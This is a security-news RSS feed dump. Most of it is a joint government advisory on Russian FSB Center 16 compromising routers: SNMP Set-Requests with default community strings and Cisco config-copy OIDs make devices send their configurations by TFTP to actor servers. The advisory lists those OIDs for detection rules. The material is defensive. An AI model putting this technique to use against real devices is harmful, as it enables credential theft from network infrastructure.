]]> <![CDATA[CVE-2026-60569 | Oracle MySQL Cluster up to 8.0.47/8.4.10/9.7.1 Cluster NDB Operator improper authorization (EUVD-2026-46931)]]> https://tsecurity.de/de/3693357/sicherheitsluecken/cve-2026-60569-oracle-mysql-cluster-up-to-80478410971-cluster-ndb-operator-improper-authorization-euvd-2026-46931/ https://tsecurity.de/de/3693357/sicherheitsluecken/cve-2026-60569-oracle-mysql-cluster-up-to-80478410971-cluster-ndb-operator-improper-authorization-euvd-2026-46931/ Sat, 25 Jul 2026 08:57:58 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic has been reported in Oracle MySQL Cluster up to 8.0.47/8.4.10/9.7.1. This affects an unknown function of the component Cluster NDB Operator. Performing a manipulation results in improper authorization. This vulnerability is cataloged as CVE-2026-60569. The attack must be initiated from a local position. There is no exploit available.]]> <![CDATA[Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting]]> https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ https://tsecurity.de/de/3693346/sicherheitsluecken/improve-router-hygiene-to-protect-against-russian-state-sponsored-targeting/ Sat, 25 Jul 2026 08:51:21 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors

Executive summary

Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 

This CSA is being released by the following authoring and co-sealing agencies: 

  • United States National Security Agency (NSA)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Federal Bureau of Investigation (FBI)
  • United States Department of Defense Cyber Crime Center (DC3)
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • United Kingdom National Cyber Security Centre (NCSC-UK)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)1 
  • Danish Defence Intelligence Service (DDIS)2 
  • Estonian Foreign Intelligence Service (EFIS)3 
  • Estonian Information System Authority (RIA)4
  • Finnish Defence Intelligence (FDI)5
  • Finnish Security and Intelligence Service (SUPO)6
  • French National Cybersecurity Agency (ANSSI)7
  • Italian External Intelligence and Security Agency (AISE)8 
  • Italian Internal Intelligence and Security Agency (AISI)9
  • The Military Counterintelligence Service of Poland (SKW)10 
  • Sweden National Cyber Security Centre (NCSC-SE)11 

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

Adversary Techniques and corresponding Mitigation Actions as described in the Technical details and Mitigation actions sections.
Figure 1: FSB Center 16 activity and recommended mitigation actions

Download the PDF version of this report:

Cybersecurity industry tracking 

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

  • Berserk Bear 
  • Energetic Bear
  • Crouching Yeti 
  • Dragonfly
  • Ghost Blizzard
  • Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.

Targeting details

Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

  • Communications,
  • Defense Industrial Base,
  • Energy,
  • Financial Services,
  • Government Services and Facilities, especially organizations at the state and local level, and
  • Healthcare and Public Health.

Technical details

Note: This advisory uses the MITRE ATT&CKÂź Matrix for Enterprise12 framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFENDTM version 1.4.0.

The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

  • Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
  • Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.

Mitigation actions

The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

  • Disable Cisco Smart Install on all devices [D3-ACH]. [2]
  • Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]
    • Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
    • SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].
  • Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].
    • Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
    • Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
    •  Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]
  • Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].
    • Example OIDs include:
      • 1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
      • 1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 
  • Restrict management protocols [D3-NTF].
    • Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
    • On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
      • User Datagram Protocol (UDP) port 69 (TFTP) 
      • Transmission Control Protocol (TCP) port 4786 (SMI)
      • UDP ports 161 and 162 (SNMP)
      • TCP/UDP ports 10161 and 10162 (SNMPv3)
  • Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 
    • Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].
      • U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
      • U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources

United States:

Canada:

Works cited

[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820

[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF

[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF

[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF

[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF

Footnotes

1  NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost

2  Forsvarets Efterretningstjeneste

3 VĂ€lisluureamet

4 Riigi InfosĂŒsteem Amet

5 Sotilastiedustelu

6 Suojelupoliisi

7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information

8 Agenzia Informazioni e Sicurezza Esterna

9 Agenzia Informazioni e Sicurezza Interna

10 SƂuĆŒba Kontrwywiadu Wojskowego

11 Nationellt CybersÀkerhetscenter

12 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.

13 CVE-2008-4128 only affects end-of-life Cisco devices.

Disclaimer of Endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations

  • National Security Agency (NSA)
  • Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)
    •  U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 
  • United States Department of Defense Cyber Crime Center (DC3)  
    • Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    • Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
    •  Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

  • Australian Signals Directorate
    • Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

New Zealand organizations

United Kingdom organizations

Estonia organizations

Finnish organizations

French organizations

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Appendix A: MITRE ATT&CK tactics and techniques

See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance

Technique Title

ID

Use
Active Scanning: Scanning IP Blocks T1595.001 Scan range of IP addresses
Active Scanning: Vulnerability Scanning T1595.002 Scan victims for vulnerabilities that can be used during targeting
Table 2: Resource Development

Technique Title

ID

Use
Acquire Infrastructure: Virtual Private Servers  T1583.003  Leverage VPS as infrastructure 
Compromise Infrastructure: Network Devices  T1584.008  Compromise intermediate routers 
Obtain Capabilities: Exploits  T1588.005  Use publicly available code to exploit vulnerable devices 
Table 3: Initial Access

Technique Title

ID

Use
Exploit Public-Facing Application  T1190  Exploit publicly known CVEs 
Proxy T1090 Use a connection proxy to direct network traffic 
Table 4: Execution

Technique Title

ID

Use
System Services T1569 Executing commands via SNMP
Table 5: Privilege Escalation

Technique Title

ID

Use
Exploitation for Privilege Escalation T1068 Exploit publicly known CVEs for escalated privileges
Table 6: Stealth

Technique Title

ID

Use
Obfuscated Files or Information T1027 Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses
Table 7: Credential Access

Technique Title

ID

Use
OS Credential Dumping T1003 Collect router configuration with weak Cisco Type 7 passwords and Type 0
Table 8: Collection

Technique Title

ID

Use
Data from Configuration Repository: SNMP (MIB Dump)  T1602.001  Target MIB to collect network information via SNMP 
Data from Configuration Repository: Network Device Configuration Dump T1602.002 Acquire credentials by collecting network device configurations
Table 9: Command and Control

Technique Title

ID

Use
Proxy  T1090  Use VPS for C2 
Application Layer Protocol  T1071  Open and expose a variety of different services, including TFTP and FTP
Table 10: Exfiltration

Technique Title

ID

Use
Exfiltration Over Alternative Protocol T1048 Exfiltrating over a different protocol than that of the existing command and control channel. 

Appendix B: MITRE D3FEND countermeasures

See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures

Countermeasure Title

ID

Description
Application Configuration Hardening D3-ACH
  • Use SNMPv3 and disable SNMPv1 and SNMPv2. 
  • Use SNMP allowlisting to restrict access to OIDs and MIBs. 
  • Disable Cisco Smart Install.
Message Authentication D3-MAN
  • Use SNMPv3 with strong authentication.
Message Encryption D3-MENCR
  • Use SNMPv3 to encrypt payloads.
Credential Hardening D3-CH
  • Use strong, unique passwords and store them securely.
Platform Monitoring D3-PM
  • Monitor for unusual credentials. 
  • Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering D3-NTF
  • Use ACLs to only allow management protocols from management devices. 
  • Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment D3-NVA
  • Use an attack surface management service.
]]> <![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]> https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/ https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/ Sat, 25 Jul 2026 08:42:07 +0200 đŸŽ„ Videos tsecurity.de Author: Matrixdotorg - Bewertung: 20x - Views:334

A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:53 Deploying A Matrix Stack
31:02 More Services Almost For Free

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
đŸ€ https://www.linkedin.com/company/matrix-org
🩋 https://bsky.app/profile/matrix.org
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org

]]> <![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]> https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ Sat, 25 Jul 2026 08:37:32 +0200 đŸ’Ÿ Tools tsecurity.de Highlights

Internet connection error page with an adorable Kit illustration

Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"

 

  • We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • Pranjali Srivastava
  • Sam Johnson

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158
WebExtensions Framework
  • Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905
WebExtension APIs
  • Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

  • Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
    • added support for remote debugging (#2014064, #2016121)
    • made sure that calls to History.replaceState are reflected in the UI (#2037359)
  • Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
  • Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
  • Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

Lint, Docs and Workflow

New Tab Page

  • We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
    • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
  • Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
  • Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX.

Search and Urlbar

Smart Window

  • natural language starting with tab close/undo 2035343 with expandable action log 2031508

Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken

Storybook/Reusable Components/Acorn Design System

  • Nova token updates occasionally, focused on SRD

UX Fundamentals

  • Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

  • Settings redesign is being tested and will hopefully go out in Firefox 152!
]]> <![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]> https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/ https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/ Sat, 25 Jul 2026 06:16:50 +0200 📰 IT Nachrichten tsecurity.de

For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.

Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.

The obvious conclusion is that we are asking the wrong questions.

Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.

In my view, there are three far more fundamental issues that deserve the attention of every chief executive.

1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality

Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.

It is the growing disconnect between executive perception and operational reality.

Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.

Unfortunately, cyber attackers do not read dashboards.

Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.

The problem is rarely a lack of effort.

It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.

Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.

Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.

2. Organizational inertia, and the need for executive structure to evolve faster

Cyber criminals continue to evolve rapidly. Large organizations generally do not.

This is the second issue that should concern every CEO.

Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.

Very rarely do they stop to redesign how cybersecurity operates.

The result is what I described several years ago as the “Cybersecurity Spiral of Failure”.

  • As complexity and regulation increase, organizations invest in more security products.
  • More products create more complexity.
  • More products and greater complexity generate more alerts.
  • More alerts require more analysts.
  • More analysts produce more reports.
  • More reports continue to build up executive confidence.
  • Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.

And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.

This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.

Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.

The cybersecurity function itself has evolved dramatically. Many executive structures have not.

This organizational inertia extends beyond technology: It affects budgeting cycles, investment priorities, procurement processes, accountability models and decision-making speed.

Cyber attackers innovate every day. Organizational change often takes years.

That imbalance should worry every CEO.

3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak

The third issue is potentially the most significant over the coming decade.

  • Artificial intelligence, autonomous agents and machine identities
  • Software supply chain complexity.
  • Quantum computing, and post-quantum cryptography

Each of these developments represents far more than another technical trend.

Together, they fundamentally change the dynamics of cybersecurity.

Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.

Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.

Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.

None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.

Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.

Waiting until some of those risks become obvious will almost certainly be too late.

Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.

But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.

That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.

Leadership will determine who succeeds

Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.

Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.

What remains within the control of every CEO is how their organization responds.

Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?

How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?

Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?

These questions will increasingly determine organizational success.

The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.

They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.

That transformation cannot be delegated. It begins with the CEO.

And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[What is a business analyst? A key role for business-IT efficiency]]> https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/ Sat, 25 Jul 2026 06:16:45 +0200 📰 IT Nachrichten tsecurity.de

What is a business analyst?

Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.

BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.

The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.

Impact of AI on business analyst role

As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.

AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.

Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.

Business analyst job description

BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.

According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.

Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  

The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.

Business analyst skills

The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.

Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.

According to the IIBA, some of the most important skills and experience for a business analyst are:

  • Oral and written communication skills
  • Interpersonal, organizational, facilitation, and consultative skills
  • Analytical thinking and problem solving
  • Being detail-oriented and able to deliver a high level of accuracy
  • Knowledge of business structure
  • Stakeholder and cost-benefit analysis
  • Processes modeling
  • Understanding networks, databases, and other technologies

For a more in-depth look at what it takes to succeed as a business analyst, click here.

Business analyst salary

The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.

Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:

SkillsSalary Boost
ScrumMaster44%
Microsoft Azure30%
Supply Chain27%
Oracle eBusiness Suite25%
Master Data Management (SAP MDM)24%
SAP Sales and Distribution (SAP SD)24%
Product Support18%
Microsoft Dynamics GP18%
SAP Quality Management (SAP QM)18%
Workday Software15%

For tips on boosting your salary, click here.

Business analyst certifications

Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:

  • IIBA Entry Certificate in Business Analysis (ECBA)
  • IIBA Certification of Competency in Business Analysis (CCBA)
  • IIBA Certified Business Analysis Professional (CBAP)
  • IIBA Agile Analysis Certification (AAC)
  • IQBBA Certified Foundation Level Business Analyst (CFLBA)
  • IREB Certified Professional for Requirements Engineering (CPRE)
  • PMI Professional in Business Analysis (PBA)
  • Certified Analytics Professional (CAP)

For more information about how to earn one of these certifications — and how much they cost — click here.

Business analytics tools and software

BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.

]]> <![CDATA[CVE-2026-60747 | Oracle MySQL Server/MySQL Cluster Replication privileges management (EUVD-2026-47079)]]> https://tsecurity.de/de/3692532/sicherheitsluecken/cve-2026-60747-oracle-mysql-servermysql-cluster-replication-privileges-management-euvd-2026-47079/ https://tsecurity.de/de/3692532/sicherheitsluecken/cve-2026-60747-oracle-mysql-servermysql-cluster-replication-privileges-management-euvd-2026-47079/ Fri, 24 Jul 2026 23:15:52 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic was found in Oracle MySQL Server and MySQL Cluster. This impacts an unknown function of the component Replication. Executing a manipulation can lead to improper privilege management. This vulnerability appears as CVE-2026-60747. The attack requires local access. There is no available exploit.]]> <![CDATA[CVE-2026-17107 | Red Hat Multicluster Engine for Kubernetes cluster-proxy service-proxy Impersonate-Group privileges management (EUVD-2026-48728)]]> https://tsecurity.de/de/3692530/sicherheitsluecken/cve-2026-17107-red-hat-multicluster-engine-for-kubernetes-cluster-proxy-service-proxy-impersonate-group-privileges-management-euvd-2026-48728/ https://tsecurity.de/de/3692530/sicherheitsluecken/cve-2026-17107-red-hat-multicluster-engine-for-kubernetes-cluster-proxy-service-proxy-impersonate-group-privileges-management-euvd-2026-48728/ Fri, 24 Jul 2026 23:15:49 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Red Hat Multicluster Engine for Kubernetes. It has been declared as very critical. The affected element is an unknown function of the component cluster-proxy service-proxy. The manipulation of the argument Impersonate-Group results in improper privilege management. This vulnerability is cataloged as CVE-2026-17107. The attack may be launched remotely. There is no exploit available.]]> <![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]> 